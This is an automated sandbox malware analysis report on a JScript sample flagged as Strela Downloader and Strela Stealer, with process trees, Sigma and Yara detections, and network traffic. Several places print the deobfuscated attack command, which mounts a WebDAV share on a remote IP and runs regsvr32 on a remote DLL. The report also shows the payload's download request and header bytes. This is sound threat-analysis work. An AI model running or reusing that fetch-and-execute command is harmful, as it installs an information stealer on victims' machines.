Edit tour

Windows Analysis Report
126484723232027823.js

Overview

General Information

Sample name:	126484723232027823.js
Analysis ID:	1576785
MD5:	09024cb4c452f96fe5b6045e198092ba
SHA1:	53f924039e79576a5b2e9b90e3c11c1116e933eb
SHA256:	0ff304716b215d4fadbf9fee1be5d717c454a09f6bdbe6e42e29995d969964e8
Tags:	jsStrelaStealeruser-lowmal3
Infos:

Detection

Strela Downloader, Strela Stealer

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Yara detected Strela Downloader

Yara detected Strela Stealer

Gathers information about network shares

Opens network shares

Sigma detected: WScript or CScript Dropper

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Found WSH timer for Javascript or VBS script (likely evasive script)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6672 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6948 cmdline: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6548 cmdline: cmd /c net use \\193.143.1.231@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3944 cmdline: net use \\193.143.1.231@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cmd.exe (PID: 1020 cmdline: cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

regsvr32.exe (PID: 5640 cmdline: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
0000000B.00000002.2209539224.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: wscript.exe PID: 6672	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security
Process Memory Space: regsvr32.exe PID: 5640	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.regsvr32.exe.7ff8b7e00000.0.unpack	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_6672.amsi.csv	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ProcessId: 6672, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.231, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3944, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ProcessId: 6948, ProcessName: cmd.exe

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1020, ParentProcessName: cmd.exe, ProcessCommandLine: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ProcessId: 5640, ProcessName: regsvr32.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ProcessId: 6672, ProcessName: wscript.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 3944, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 3944, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 193.143.1.231:8888

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Tue, 17 Dec 2024 14:16:14 GMTContent-Type: application/octet-streamContent-Length: 418816Connection: keep-aliveAccept-Ranges: bytesEtag: "1811fc5bc5a4e37266400"Last-Modified: Tue, 17 Dec 2024 14:13:22 GMTData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 04 00 19 51 61 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 00 00 d2 00 00 00 8e 05 00 00 00 00 00 f0 12 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 04 00 00 00 00 00 00 02 00 60 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 f0 00 00 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 11 d1 00 00 00 10 00 00 00 d2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 00 00 00 00 f0 00 00 00 02 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 84 88 05 00 00 00 01 00 00 8a 05 00 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 18 00 00 00 00 90 06 00 00 02 00 00 00 62 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231

Source: global traffic

HTTP traffic detected: GET /140341625623863.dll HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: 193.143.1.231:8888

Source: net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231/
Source: net.exe, 00000005.00000002.2130413282.00000178B0F95000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000003.2049998000.00000178B0F5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/
Source: net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/%=1
Source: net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/-=9
Source: net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888//
Source: net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/y=M

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match	File source: amsi64_6672.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6672, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_02209A30	11_2_02209A30
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0220BDB0	11_2_0220BDB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0223DA00	11_2_0223DA00
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_02242B28	11_2_02242B28
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_02236F30	11_2_02236F30
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0223A391	11_2_0223A391
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_022498E8	11_2_022498E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_022429A4	11_2_022429A4

Source: 126484723232027823.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal84.rans.troj.spyw.evad.winJS@12/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("cmd /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s", "0", "false")

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll

Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0224B68A push esp; iretd		11_2_0224B691
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0224EEFE push ecx; retf 003Fh		11_2_0224EF5E

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
